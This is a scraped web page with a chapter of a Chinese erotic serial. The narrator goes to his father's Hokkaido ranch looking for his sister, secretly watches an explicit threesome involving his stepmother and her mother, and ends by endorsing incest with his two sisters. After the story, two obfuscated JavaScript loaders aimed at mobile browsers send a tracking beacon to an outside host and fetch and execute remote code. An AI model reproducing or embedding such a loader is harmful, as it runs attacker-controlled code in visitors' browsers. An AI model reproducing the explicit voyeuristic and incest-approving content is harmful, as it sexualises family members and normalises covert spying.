图片载入中

姐姐的房间- 第11章 追迹·北之荒陆

特大字】 【大字】 【中字】 【小字

据日本官方的说法,北海道位居日本最北边,总面积为8万3千平方公里,约有台湾面积的两倍大,可是人口却只有五百五十万人,说得上是地广人稀,荒凉一片。但这未经开发的原始自然风光,也是北海道最珍贵的特点。

北海道因为火山活动的关系,所以地形起伏颇大。到处都有因为火山活动而形成的湖泊,如支芴湖、洞爷湖、阿寒湖、摩周湖、屈斜路湖等都是火山湖。

也因为这样,北海道的温泉量傲视日本,是居全日本之冠。其中如大雪山、有珠山、旭岳、风不死岳、樽前山等的温泉也都是相当出名的。

好了!屁了这么多关于北海道的事,回到正题。为什么我要提起北海道呢?

因为我现在就在北海道。而为什么我会在北海道呢?又为什么我会来北海道呢?

唉!大哉问!且容我一一道来。

大姐失踪了,我跟二姐,赵姐找遍了大姐可能去的地方,甚至我还厚着脸皮去找王崧,但结果是任我们怎么找都找不到。

为了找大姐,一向敬业的二姐已经请了三个星期的假了,她的主管已经下通牒,说二姐如果还不去上班,那就要二姐自动请辞。

找大姐找得我们都显得很疲倦,几乎想要报警寻人了。就在这个时候,一封来信给了我方向,这也是让我们来北海道的原因。

“混小子!鬼丫头!你大姐在我这边,马上给我滚过来!父笔”

后面的地址是“日本国·北海道·根室支厅·中标津町”“佐藤牧场”

老爸?天啊!陈家的一家之主终于出现了?他还活着喔,还在日本?我几乎都忘了他的存在了。

说起我这个老爸,还真是说来话长啊!亲戚朋友给我老爸的评语,几乎毫无例外的叫他是〔天下第一浪荡子〕。根据我外婆的说法,出生眷村的老爸从小就爱胡混,是村里间最让人头疼的人物,标准的大错不犯小错不断的祸秧子。

他最出名的一役是,他老大带了人去跟学校的校队打棒球,结果是他们大获全胜。

原因是……我老爸不知道棒球是比分数的,他还以为是玩格斗赛咧!把人家校队的队员全部给KO了,结果是害得那一年他们学校的棒球队因为全员负伤,而在区运赛中惨遭垫底。

这只是其中一件,其他大大小小的捣蛋事更是多得不及备载,数不胜数啊!

老爸另外还有一样让人痛恨的地方,那就是风流!据说老爸二十岁之前,就已经完成百人屠了,战绩十分辉煌。只是为什么他无法完成千人斩呢?原因就是他遇到了我老妈。

这样的老爸却娶到了身为校花的妈妈,这不能不让当年他们的那些同学将此事列为校园七大不可思议之首。不过,我老爸本身可是非常怨叹自己的遇人不淑(这……有点反过来说的感觉啊!汗!),落入了老妈的温柔陷阱中,导致自己的雄图霸业一朝尽丧啊!

娶了老妈之后的老爸乖了一段时间,就在大家感谢老妈以杀身饲虎,舍身取义的精神感化了老爸这个祸害之际,可是天不假年,嫁给老爸没多久,老妈就去世了。

失去老妈的老爸留下一张字条(这好像是我家的家族习惯喔……)要爷爷奶奶照顾我们之后,很快就失踪了。这一失踪就是五年,期间连爷爷奶奶过世,老爸都没有回来过。

之后老爸买了现在这间房子给我们住后,就又失踪了,此后每隔一至两年,老爸就会回来一趟,除此之外就是每个月寄来的生活费了,其他的一切,老爸是完全不管的,老爸的名言是:“自己的人生要自己搞定。”

本来我是不太想甩他的,但因为他写了一句“你大姐在我这里”所以一接到老爸的信,我们几乎是马上就开始准备出国了。

出国手续繁杂,尤其是我还没有服兵役,所以更是麻烦,幸好赵姐出国旅游的经验丰富,人面又广,这才搞定。赵姐本来也要去的,却因为她台南老家有消息传来说他母亲生病了,要她回家看看,这才作罢。

说起来我跟二姐都是第一次出国,但二姐流利的外语能力,这可让她占了不少便宜,不过从台北登机后,一路上二姐就显得郁郁寡欢,很少说话。

我们一路由台北搭飞机到成田,再从成田转机到青森,最后从青森坐北极星号到达目的地钏路港。

从到日本以来,我一直就觉得日本人还真有一套啊!所到之处一尘不染,干净得让人心旷神怡。这个感觉到钏路港的时候更加强烈了。

徐徐的海风带来海洋的咸味,一辆辆的机车由船上下来了,一群年轻男女嘻笑着骑机车离开港口。

那些人应该是来北海道自助旅行的吧!好羡慕喔!

望着他们绝尘而去的背影,我不由得想起我的风林火山了。

在我望着那些自助旅行的年轻人出神的时候,二姐一拉我,说:“阿俊!你看!”

我向着二姐所指的方向看去,只见一位年约三十上下的和服美女正举着一个牌子,上面写着“陈文俊。陈亚雯。佐藤牧场”是老爸找来接我们的吧?不知道这位和服美女跟老爸是什么关系?

我招唿二姐走向她,她应该也意识到我们就是她要接的人了吧!所以也面带微笑的迎上来。

我用我憋脚的日语结结巴巴的说着:“嗨……失礼妈谢!阿NO……挖搭西挖……”

那位和服美女睁着一双大眼睛,眨呀眨的,显然是听不懂我的日语。

二姐“滋”的一声闷笑,让我厚如城墙的脸皮也不自禁红了起来。我嘟囔着说:“搞什么!日本人不懂日本话?”

我这话一出,二姐终于忍不住的笑出声来。更过分的是,连那位和服美女都忍俊不住的笑了出来。

疑……她怎么听的懂中文?当我和二姐怀疑的眼光看着她的时候,她才以生硬的中文说着让我和二姐几乎当场跌倒的话:“你们好,我叫佐藤美沙。是陈浩的妻子,应该算是你们的后母!你们可以叫我美沙阿姨。”

*** *** *** ***

“北海道基本上分成道央、道南、道东、道北4区。各个地区都有属于自己的特色。像我们家所在的中标津町就属于道东。”开着车的佐藤美沙小姐一面驾驶,一面跟我们介绍北海道的好处。

“道东的特色就在于拥有丰富的大自然资源,像刚刚的钏路市,就拥有丰富的渔业资源。而钏路湿原则有着雄壮古老的自然景观,阿寒湖不但具有一种神秘感,还有温泉可以泡,在冬天的时候,网走市还可以看到流冰喔!总之你们一定会喜欢北海道的。”

听着她的介绍,我开始怀疑,她是不是误会了什么?

看着一直介绍着北海道特色的美沙〔阿姨〕,我跟二姐却疑惑的望着这个自称是我们后母的女人。不过现在说什么都没用,一切等见到老爸后就会明白了。

才八月份,北海道的气温已经开始降到二十度以下,秋意已经开始笼罩了。

美沙阿姨说,北海道的秋季是在九月,现在只能算夏末而已。

北海道的路又直又宽,路况非常好,远远的好像要延伸到地平线似的。路上车子很少,只是在间中会看到一台两台,其中占多数是油罐车。

我忍不住问美沙说:“这附近有炼油厂吗?怎么会有那么油罐车?”

美沙掩口笑说:“不是啦!这附近都是牧场,那些车装的是牛奶。他们多是要送到雪印工厂去加工。我们家也是雪印公司的签约商喔!”

我听的目瞪口呆,老爸这下好像是挖到金矿啰?

当车转进分岔的支道后,路两旁的山坡上开始出现三三两两的乳牛和马匹。

绕过一座小山坡,一座矗立在坡前,西式的两层楼木造建筑马上就印入了眼帘。

坡的另一面,有着一座长长的平房,美沙阿姨说那是牛棚和储物间。

车行到房子前时,我不禁赞叹着,好棒的房子喔。门前又有一位年纪较长,长相有几分像美沙阿姨的和服美女在迎接我们。

我问美沙说:“那是你姐姐吗?”

美沙掩嘴笑说:“听你这么说,她可是会很高兴的喔!她是我妈!”

天啊!那个女子看来不过四十出头,居然是美沙的母亲?美沙说她的母亲叫佐藤京子,今年已经五十二了,看起来却还是如此年轻,恬静温柔的样子很有日本传统妇女的韵味。

京子〔阿姨〕(这个称唿有点怪,不过我又没办法叫她婆婆,所以将就啰)

因为不懂国语,所以没办法跟我们交谈,不过她还是尽量用简单的单字配合手势来跟我们沟通。

在一阵迷惘中,我们接受了美沙母女的欢迎招待,住进了二楼的房间。

房间的摆饰是纯日式风格,窗明几净,还有着一股榻榻米的清香,让人整个心情都放松了下来。

这间房子真的很大,光楼上楼下的房间加起来就有十间,楼下三间,楼上有七间。

美沙跟我说,原本房子只有一楼而已,是老爸提议要做民宿,这才扩建的。

现在才八月,还没有人来,但九、十月的房间已经被预定满了。

楼下的三间房间,现在是老爸和美沙阿姨一间,京子阿姨一间,还有一间是大姐的房间,大姐来了快半个月了。

整理好了行李,我去洗了个澡,洗去一天奔波的疲劳,换上美沙阿姨拿给我的浴衣,我坐在窗框上,望着渐渐变暗的天际,晚霞是如此的炫丽,搭配上北海道辽阔的大地,有种妖异的美感。

只是……我没看到大姐,也没有看到老爸。

据美沙阿姨说的,因为整个牧场现在只有老爸一个男人,所以基本上,牧场上两百多只乳牛都要靠老爸照顾,现在已经是黄昏了,老爸要将乳牛赶回牛棚,会晚点回来。

至于大姐……美沙阿姨只是神秘的笑了一下,没有说什么,只说:“等你爸爸回来,你自己问他!”

“阿俊!吃饭啰!”美沙阿姨用她那带着浓重日本口音的国语招唿着我。

美沙阿姨的声音真的又软又腻,非常好听,尤其是那奇特的口音所带来的不协调感,老实说,我已经开始幻想美沙阿姨在床上的淫叫声,一定与众不同吧!

老爸真是好福气啊!

当我下楼的时候,美沙阿姨带着笑容的说:“你爸爸回来了喔!”

听到美沙阿姨这么说,我的心脏不争气的跳了两下。两年不见了,居然有种近乡情怯的感觉。我跟二姐的事,大姐有跟他说吗?说了多少,他又知道多少?

看到美沙阿姨一脸的甜蜜,我忍不住的问她说:“阿姨你爱我老爸吗?”那个抛家弃子的不良中年,真的值得爱吗?

美沙阿姨一脸诧异的反问我说:“当然啊!要不然我为什么要嫁给他?”

我默然,果然是青菜萝卜各有所好。

进餐厅的时候,大家都已就座,就是没看到老爸,我看向二姐,问她说:“老爸呢?”

“嗨!儿子……找我吗?”老爸既熟悉又陌生的声音,突然从我后面响起。

我吓了一跳,连忙回头一看……

“啊……”寂静的山坡上,响起了一个可怜的少年受到惊吓之后的惨叫声。

*** *** *** ***

“哈哈哈哈哈哈……”老爸毫无顾忌的放声大笑着。

“喂!够了喔!我只是突然被你吓到而已,有必要笑到现在吗?”我有点恼羞成怒的说。

吃完饭后,老爸就带着一打朝日啤酒,把我拉到屋顶上喝。二姐本来也要跟着来,但老爸不准,他说这是MEN'S TALK,谢绝女性参加。

只是一坐下来,老爸就笑个不停。唉……其实也不能怪我大惊小怪啊!我已经够高了,但身高一百九十公分的老爸,硬是比我高出十公分,而且印象中的老爸,虽然很高,但并不壮硕,而且打扮入时,颇有点风流人物的斯文。

但眼前的老爸呢?才两年不见,老爸却变成了个跟健美先生一样的壮汉,再加上满脸的络腮胡,根本跟熊没两样,要不是老爸的脸型没变,打死我也不相信他是我老爸。

老爸好不容易止住了笑,灌了一口啤酒后说:“我变得很多吗?如果你跟我一样,在这么大的牧场里操个两年,保证你跟我一样。”

老爸的声音里,有太多的缅怀,让我相信这两年来,他一定经历了很多事。

老爸望着星空说:“阿俊,你看星空美吗?”

我两手向后撑着,半仰着脸说:“嗯……好美,从我踏上北海道开始,就觉得北海道真美,眼中看到的色彩都鲜艳了许多。没想到连星星都多这么多。”

老爸淡淡的说:“空气中的悬浮微粒少,眼睛自然看得更清楚。这片星空也是一样的。”

老爸躺了下来,眼睛还是凝视着天际,继续说着:“自从你妈死了之后,我一直就在找,找一个能填补心中空洞的地方。”

“你终于找到了?是北海道,还是美沙阿姨?”我也躺下来,享受着夏末的星空,觉得有点凉意呢。

“都是,不过还有更多。”

“更多?”我疑惑着。

老爸笑了一声,没有正面回答我,转了个弯说:“当你大姐跑到北海道来找我的时候,我还真是吓了一大跳啊!雅玲这孩子啊!就是太死心眼,做什么事都是一板一眼的,不知道变通,跟你妈一模一样。”

“阿俊,说起来,我最对不起的,就是你了,从小就把你留在台湾,也没有好好照顾你。你会恨我吗?恨老爸的任性?”

恨老爸?我摇了摇头说:“没,我没恨过你,你虽然没有照顾过我,但是至少你让我衣食无虑,给我很多的自由,我不喜欢你,但我也没恨过你。”

“呵呵……”老爸笑了:“你还真老实啊!记得我跟你说过的话吗?‘自己的人生要自己负责’,我对自己的人生负责了,你呢?”

“老爸……其实我……”不知道为什么,我突然想把所有的事情都说给老爸听。

但老爸却突然坐起来,从上往下的看着我说:“别说!我不想听。晚了,我明天还要忙,先下去啰。”

老爸把手中的啤酒一饮而尽,发出了爽快声音说:“虽然比不上台湾啤酒,不过还是好喝。”

我笑说:“老爸!你搞错了吧!台啤会比朝日好喝?”老爸是不是喝醉了?

“你懂什么?那是故乡的味道啊!”只听他吟唱着:“人生得意需尽欢,莫使金樽空对月。阿俊!得意需尽欢,那不得意呢?”

“不得意呢?”我想了一下,大笑说:“不得意当然更要尽欢,难道要哭吗?”

老爸也笑了,他说:“说得好。阿俊!老爸一直觉得人这种生物啊!总被自己所设下的一些规则给限制住了,因而放弃很多东西,真是太愚蠢了。人生短短数十年而已,有什么好计较的?想要什么就去要吧!别等到将来才在后悔,那就太迟了。”

老爸知道了吗?我不确定,但我已经知道了老爸并没有怪我的意思。这一瞬间,我觉得心里踏实多了。

老爸下楼的时候说:“我叫你大姐去斜里町那里去住几天,想通了再回来。

你也是,想通了再去。”

想通了再去吗?我傻傻的看着星空。这些天来,我们为了寻找大姐,精神上一直处在紧张状态,现在好不容易知道了大姐的下落,虽然还没有看到她,但心情已经松懈下来了。

风在吹着,凉爽的风让我涌上一股倦意,我就在这屋顶上睡着了。

接下来的几天,我跟着老爸在牧场里帮忙,一句话都没提到要到斜里町去找大姐。二姐虽然觉得奇怪,但也没有说什么。

北海道的秋天早来,九月就入秋了,因为人手不足,老爸现在就已经在进行储草料的工作了,其他还有挤奶装瓶、清理牛棚等一大堆工作。

经营牧场还真是一种苦力的工作啊!不过不知道为什么,我却觉得很快乐。

虽然……心里还有某处觉得空空的,每到夜晚的时候,那一处就隐隐作痛。

*** *** *** ***

这几天来,因为白天的劳动,夜晚我总是很好睡觉。今天我睡到半夜,却被口中的干渴唤醒。一摇水瓶,里面的水已经没了,无奈之下只好下楼去了。

刚下楼去,却看到一条人影稍微左顾右盼一下,就悄悄的闪进老爸的房间。

是京子阿姨?她去老爸房里干什么?

在好奇心的驱使之下,我靠到老爸门边听起壁角戏来。我隐约听到老爸好像刚被吵醒,就好像被什么东西塞住嘴巴!只能用呜呜声来抗议着,然后就是啾啾的亲吻声。

美沙阿姨也被吵醒了,她呢喃的说:“欧卡桑,你来了?”

京子阿姨伊伊呜呜的说:“好几天没来了,我想嘛!”

老爸兴高采烈的说:“那就来吧!美沙!你也别睡了,一起来啊!”

原本就学过日语的我,来到日本后,耳濡目染之下,说的能力虽还不太行,但在听的方面已经没有问题了。这下听老爸这么一说,那还不明白?

哇咧!3P啊!而且还是母女同科?老爸太强了。太刺激啦!不行,这一定得看一下!问题是……要从哪里偷看呢?

有了!每间房间都有窗户,从外面就可以看到了。我轻轻的打开门,转过屋角,我已经听到了做爱的交媾声。

运气真好,窗户虽然是关着的,但老爸却没有把窗帘拉上,房间的灯光虽然不是太亮,但对比起户外的漆黑,让我能把窗内的一切看得清楚。窗内的情境让我血脉贲张,不能自己。

只见房里的三个人,都已经脱得一丝不挂的了。一般来说,日本女人的身材都会比较偏矮胖,但眼前的这母女,却不在此列,都算是又白又苗条的那类型。

京子阿姨毕竟年纪大了,乳房虽然大,但却显得很软,像布袋一样的摊开,腰肢上也有些许的赘肉。不过她丰腴的体态还是很性感的。

只见她整个人平躺在床上,屁股下垫着个大枕头,双腿分成八十度张开着,而美沙阿姨就跪在京子阿姨分开的双腿之间,两根手指并合着,往京子阿姨那肥美肉穴里乱捅。

京子阿姨由于过于兴奋,不时地发出阵阵欢乐的呻吟:“啊……哦……再用力……好……好爽……呀……真舒服啊……啊……啊……哦……啊……”

而撅着个大屁股,正在一心一意的在妈的穴里耕耘的美沙阿姨,我从后面看着,她的穴肉被两片大阴唇紧紧夹着,稍微有点外翻。

毕竟是三十岁的女人嘛,阴户就是比她的妈妈嫩,而她那不比她妈妈小的乳房,正随着她的动作前后摇晃着,弹性可比京子阿姨好多了。

只听她一边弄着她妈妈一边说:“妈!舒服吧!哦,你的穴里出了这么多水啊。”

老爸就站在她的后面,他下面的小弟弟早已经以九十度的高角度挺立着了。

不愧是我老爸啊!粗度与长度都在水准之上。

老爸看起来一点都不急色,一边搓着自己的肉棒,一边带着笑容看着身前母女间的淫戏,看了一会,才把肉棒顶在美沙阿姨已经湿淋淋的阴户上,却又不放进去,只在外面磨蹭着。

美沙阿姨被老爸磨的屁股乱摇,终于受不了的回头哀求着说:“亲爱的,求求你!快点进来吧!”

老爸笑着说:“心急了吗?来吧!帮我含含。”美沙阿姨马上就把老爸压平在床上,帮他吮弄肉棒。

一点都没有犹豫!真好啊!哪像二姐,要她帮个忙,还要求她半天才肯。我只觉得肉棒已经硬到我不得不把它掏出来吹吹风,还要用手来不断的安慰它。

京子阿姨立刻抗议的叫了起来,老爸笑着说:“妈!让你的女婿帮你服务吧!”然后就把京子阿姨的肥臀抓到面前,舔着她的肥穴。京子阿姨又开始发出动人的淫叫声来。

现在的画面真是诡异啊,老爸躺在床上,下面是美沙阿姨在帮他口交,而京子阿姨却又趴让老爸身上,让老爸帮他口交,老爸以一敌二,果然厉害啊!

美沙阿姨舔弄了一会,老爸说:“美沙!可以了,你上来吧!”

美沙阿姨高兴的跨坐在老爸身上,翻开自己的阴唇,将老爸的肉棒扶好,对正,然后“噗嗤”一声,就把老爸足有六寸多长的大肉棒给吞了进去。

美沙阿姨发出了“啊”的一声爽快的呻吟说:“妈呀,又粗又长的,我的肉穴都快要裂开了。”

京子阿姨笑骂着说:“都干了两年了,还不习惯啊!自己发骚,要坐得那么重,还敢乱叫,你要不要?不要让我来,很舒服的。”

美沙阿姨红着脸,不好意思的说:“人家只是一时心急,太用力了嘛,哪有说不要啊!啊……好舒服喔……”然后双手搓弄着自己的豪乳,好像很享受的上下抛动着,下半身也开始上下的挺动着。

我只看见美沙阿姨两片雪白的大屁股,不时的将老爸粗大的肉棒吃进去又吐出来,老爸的肉棒不断的隐现着。肉棒又把她阴道里的嫩肉带得翻了出来,然后又被老爸的阴茎顶进去,看得我非常过瘾。

美沙阿姨急促的唿吸和欢乐的呻吟说明了她的快乐:“啊……啊……哦……耶……啊、啊、啊……老公……你的鸡巴太长了……啊……插进子宫了……啊又进去了……啊……进去了……进子宫了,啊……好爽……啊……老公…你干得真好……操得我穴里麻酥酥的,啊……开始痒了……快用力插,啊……用力……插吧……”

美沙阿姨的表情好淫荡啊,老爸虽然嘴巴没空,但他还是用力的挺动腰肢,向上刺进美沙阿姨的肉穴里,美沙阿姨受到这种刺激,淫水像瀑布般的流到老爸的肚子和下腹上。

京子阿姨看的心痒,突然离开老爸,娇喘吁吁的说:“浩!我也要你来干我,快一点啊!”

老爸不管满脸的淫水,笑着说:“不要急啊,美沙也差不多了,马上就可以换你了。”

话刚说完,美沙阿姨已经尖叫着瘫在老爸身上,看样子是完了。老爸马上翻身,压在美沙阿姨身上,一边吻着她一边大力的继续奸淫着美沙阿姨。

“不……不是……噢……噢……啊好……好了……啊啊……不……不要再来了啊……太……太深了啊…好……好啊……这……这样好…噢……”美沙阿姨突然惨叫一声,昏了过去。

老爸对京子阿姨笑着说:“你看吧!”

京子阿姨笑骂说:“你少得了便宜还买乖,有本事连我也一起摆平吧!”

老爸笑说:“那有什么问题,来吧!”

京子阿姨高兴的跪着,将肥大雪白的臀部对着老爸,老爸用他的肉棒轻拍着京子阿姨的屁屁,然后才一插到底。

“啊……啊噢……好……好粗……粗大啊……啊……好啊……妈、妈妈……爱……爱死你……你了……啊……噢……噢……啊……呀……呀啊……爽……爽啊……太爽……太爽了啊……噢啊……”一进去,京子阿姨就浪叫不已,叫的我心都痒了起来,手上的动作也更加快速了。

京子阿姨的上半身凌空着,一双豪乳垂吊着晃动着。老爸跪在京子阿姨的身后,手抓着京子阿姨的纤腰,尽力的奸淫着她。

就这样做了一阵,京子阿姨受不了了,哀求着说:“浩……我……不行了,让我……躺下……来好不……好……?”

“我就是喜欢这样子啊……妈妈啊……对吧……妈妈……哈哈……这样子,我觉得很爽啊……哈哈……”老爸弯下腰去用力搓弄着京子阿姨的乳房。

京子阿姨回头瞪了老爸一眼,却说不出话来了,在老爸不断的奸淫下,京子阿姨只能从喉中发出“啊啊……噢噢……”的呻吟声。

这时美沙阿姨也醒过来了,她看了一下,就跑到老爸身后,用一对豪乳摩擦着老爸的后背,老爸也转过头来,亲吻着美沙阿姨。

在老爸这么做的时候,他的下半身还是不断的挺动着,京子阿姨已经受不了的趴在床上,只把屁股高高的翘起来,让老爸奸淫着。

“唷……哎唷……啊……妈妈快……丢……丢了……不……要……不要……停………喔……喔……呀……呀……”老爸不断加快肉棒抽插的速度,京子阿姨也无力的挺起腰来配合老爸的抽插,为的只是让自己更舒服。

“啊……我喜欢……好喜欢啊……会死掉……啊……呀……啊啊……唔……老……天……啊……我要升天了……用力……用力……用力干死我……爽…好棒啊……啊……我泄了……呀……呀……”京子阿姨在老爸的努力下,也泄了身,瘫在床上了。

京子阿姨一泄身,老爸就把美沙阿姨移转抱到身前,用力的吻着她的豪乳骂道:“小妖精!净会捣蛋,看我肯饶你。”

美沙阿姨妖娆的娇笑着说:“谁要你饶啊!”

老爸难忍美沙阿姨的媚态,又将她压在身下大加挞伐起来,一时之间,淫声浪语又充斥在房中。

我目瞪口呆的看着老爸的雄风。事实上我在京子阿姨泄身的时候,我就已经把精液射在墙脚了,没想到老爸一龙战双凤居然还游刃有余,我真自叹不如啊!

老爸终于也在美沙阿姨身上射精了,两人整理了一下,老爸就搂着京子阿姨和美沙阿姨一起谈天,好一付和乐融融的画面啊!

我在老爸处理好房事后,也悄悄的回房去了。

回到房间的我,心情还是无法平静,幻想中,京子阿姨和美沙阿姨的脸,已经换成大姐和二姐了。我忍不住又在被窝里放了一枪,这才能平静下来。

平静下来的我,心想着,老爸和京子阿姨,美沙阿姨的相处模式,不就是我最想要的吗?

我爱大姐,但也爱二姐,失去任何一个人都会让我痛苦一辈子,我想两者兼得,这又有什么错呢?什么乱伦?什么逆德?都是狗屁!

我终于明白了老爸说的话了:

“人生苦短,得意尽欢,爱己所爱,不留遗憾。”


上一篇:姐姐的房间- 第12章 进发的号角

下一篇:姐姐的房间- 第10章 崩裂


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};